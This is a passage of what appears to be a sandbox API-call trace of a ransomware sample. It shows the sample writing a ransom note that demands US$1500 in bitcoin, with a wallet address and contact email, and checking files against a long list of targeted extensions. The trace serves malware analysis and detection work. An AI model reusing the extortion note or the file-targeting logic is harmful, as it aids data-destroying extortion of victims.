wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.653] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WSMan.Management.ni.dll") returned -1 [0111.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WSMan.Management.ni.dll") returned -1 [0111.653] lstrcmpiA (lpString1="", lpString2="Microsoft.WSMan.Management.ni.dll") returned -1 [0111.653] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\*.*") returned="*.*" [0111.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\" [0111.653] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\") returned="" [0111.653] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\HOW TO DECRYPT FILES.txt" [0111.653] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\how to decrypt files.txt")) returned 0xffffffff [0111.653] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.654] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.654] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.656] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.656] CloseHandle (hObject=0x90) returned 1 [0111.656] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\", lpString2="Microsoft.WSMan.Management.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ems") returned 0 [0111.656] lstrlenA (lpString="*.ems") returned 5 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.db") returned 0 [0111.656] lstrlenA (lpString="*.db") returned 4 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dbf") returned 0 [0111.656] lstrlenA (lpString="*.dbf") returned 5 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.myox") returned 0 [0111.656] lstrlenA (lpString="*.myox") returned 6 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.myo") returned 0 [0111.656] lstrlenA (lpString="*.myo") returned 5 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbw") returned 0 [0111.656] lstrlenA (lpString="*.qbw") returned 5 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbb") returned 0 [0111.656] lstrlenA (lpString="*.qbb") returned 5 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbm") returned 0 [0111.656] lstrlenA (lpString="*.qbm") returned 5 [0111.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbo") returned 0 [0111.656] lstrlenA (lpString="*.qbo") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbx") returned 0 [0111.657] lstrlenA (lpString="*.qbx") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qba") returned 0 [0111.657] lstrlenA (lpString="*.qba") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qby") returned 0 [0111.657] lstrlenA (lpString="*.qby") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbj") returned 0 [0111.657] lstrlenA (lpString="*.qbj") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ofx") returned 0 [0111.657] lstrlenA (lpString="*.ofx") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qif") returned 0 [0111.657] lstrlenA (lpString="*.qif") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mye") returned 0 [0111.657] lstrlenA (lpString="*.mye") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mbox") returned 0 [0111.657] lstrlenA (lpString="*.mbox") returned 6 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.eml") returned 0 [0111.657] lstrlenA (lpString="*.eml") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pst") returned 0 [0111.657] lstrlenA (lpString="*.pst") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ost") returned 0 [0111.657] lstrlenA (lpString="*.ost") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.idx") returned 0 [0111.657] lstrlenA (lpString="*.idx") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dbx") returned 0 [0111.657] lstrlenA (lpString="*.dbx") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.sql") returned 0 [0111.657] lstrlenA (lpString="*.sql") returned 5 [0111.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mdb") returned 0 [0111.658] lstrlenA (lpString="*.mdb") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.fdb") returned 0 [0111.658] lstrlenA (lpString="*.fdb") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.wab") returned 0 [0111.658] lstrlenA (lpString="*.wab") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dat") returned 0 [0111.658] lstrlenA (lpString="*.dat") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.txt") returned 0 [0111.658] lstrlenA (lpString="*.txt") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.jpeg") returned 0 [0111.658] lstrlenA (lpString="*.jpeg") returned 6 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.jpg") returned 0 [0111.658] lstrlenA (lpString="*.jpg") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.png") returned 0 [0111.658] lstrlenA (lpString="*.png") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.php") returned 0 [0111.658] lstrlenA (lpString="*.php") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.cs") returned 0 [0111.658] lstrlenA (lpString="*.cs") returned 4 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.cpp") returned 0 [0111.658] lstrlenA (lpString="*.cpp") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.rar") returned 0 [0111.658] lstrlenA (lpString="*.rar") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.zip") returned 0 [0111.658] lstrlenA (lpString="*.zip") returned 5 [0111.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.html") returned 0 [0111.659] lstrlenA (lpString="*.html") returned 6 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.htm") returned 0 [0111.659] lstrlenA (lpString="*.htm") returned 5 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xlsx") returned 0 [0111.659] lstrlenA (lpString="*.xlsx") returned 6 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xls") returned 0 [0111.659] lstrlenA (lpString="*.xls") returned 5 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mp4") returned 0 [0111.659] lstrlenA (lpString="*.mp4") returned 5 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ppt") returned 0 [0111.659] lstrlenA (lpString="*.ppt") returned 5 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pptx") returned 0 [0111.659] lstrlenA (lpString="*.pptx") returned 6 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.doc") returned 0 [0111.659] lstrlenA (lpString="*.doc") returned 5 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dot") returned 0 [0111.659] lstrlenA (lpString="*.dot") returned 5 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.docx") returned 0 [0111.659] lstrlenA (lpString="*.docx") returned 6 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.7z") returned 0 [0111.659] lstrlenA (lpString="*.7z") returned 4 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.tar") returned 0 [0111.659] lstrlenA (lpString="*.tar") returned 5 [0111.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.bz2") returned 0 [0111.660] lstrlenA (lpString="*.bz2") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.gz") returned 0 [0111.660] lstrlenA (lpString="*.gz") returned 4 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mkv") returned 0 [0111.660] lstrlenA (lpString="*.mkv") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.eml") returned 0 [0111.660] lstrlenA (lpString="*.eml") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.msg") returned 0 [0111.660] lstrlenA (lpString="*.msg") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.edb") returned 0 [0111.660] lstrlenA (lpString="*.edb") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.accdb") returned 0 [0111.660] lstrlenA (lpString="*.accdb") returned 7 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.odb") returned 0 [0111.660] lstrlenA (lpString="*.odb") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.java") returned 0 [0111.660] lstrlenA (lpString="*.java") returned 6 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.asm") returned 0 [0111.660] lstrlenA (lpString="*.asm") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pfx") returned 0 [0111.660] lstrlenA (lpString="*.pfx") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pem") returned 0 [0111.660] lstrlenA (lpString="*.pem") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.p12") returned 0 [0111.660] lstrlenA (lpString="*.p12") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.gpg") returned 0 [0111.660] lstrlenA (lpString="*.gpg") returned 5 [0111.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vsd") returned 0 [0111.661] lstrlenA (lpString="*.vsd") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.odg") returned 0 [0111.661] lstrlenA (lpString="*.odg") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.raw") returned 0 [0111.661] lstrlenA (lpString="*.raw") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.nef") returned 0 [0111.661] lstrlenA (lpString="*.nef") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.svg") returned 0 [0111.661] lstrlenA (lpString="*.svg") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.psd") returned 0 [0111.661] lstrlenA (lpString="*.psd") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vmx") returned 0 [0111.661] lstrlenA (lpString="*.vmx") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vmdk") returned 0 [0111.661] lstrlenA (lpString="*.vmdk") returned 6 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vdi") returned 0 [0111.661] lstrlenA (lpString="*.vdi") returned 5 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.lay6") returned 0 [0111.661] lstrlenA (lpString="*.lay6") returned 6 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mpeg") returned 0 [0111.661] lstrlenA (lpString="*.mpeg") returned 6 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.djvu") returned 0 [0111.661] lstrlenA (lpString="*.djvu") returned 6 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.tiff") returned 0 [0111.661] lstrlenA (lpString="*.tiff") returned 6 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.backup") returned 0 [0111.661] lstrlenA (lpString="*.backup") returned 8 [0111.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pdf") returned 0 [0111.661] lstrlenA (lpString="*.pdf") returned 5 [0111.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.cert") returned 0 [0111.662] lstrlenA (lpString="*.cert") returned 6 [0111.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.docm") returned 0 [0111.662] lstrlenA (lpString="*.docm") returned 6 [0111.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xlsm") returned 0 [0111.662] lstrlenA (lpString="*.xlsm") returned 6 [0111.662] 